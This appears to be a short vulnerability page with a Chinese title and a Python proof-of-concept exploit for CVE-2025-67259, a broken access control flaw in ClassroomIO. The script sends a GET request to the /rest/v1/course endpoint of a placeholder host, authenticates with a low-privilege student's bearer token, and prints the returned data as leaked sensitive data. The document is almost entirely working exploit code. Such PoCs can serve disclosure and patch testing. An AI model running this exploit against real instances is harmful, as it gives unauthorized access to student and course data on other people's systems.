CVE-2025-67259 ClassroomIO越权访问漏洞

import requests # PoC for CVE-2025-67259: Broken Access Control in ClassroomIO # Description: Exploiting the /rest/v1/course endpoint by changing POST to GET. target_host = "http://vulnerable-classroomio-instance.com" vulnerable_endpoint = "/rest/v1/course" # Simulating a captured session cookie or auth token from a low-privilege student auth_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } try: # The exploit involves changing the method to GET # Normally the application might expect a POST, but GET discloses data response = requests.get(f"{target_host}{vulnerable_endpoint}", headers=headers) if response.status_code == 200: print("[+] Vulnerability Exploited Successfully!") print("[+] Leaked Sensitive Data:") print(response.json()) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")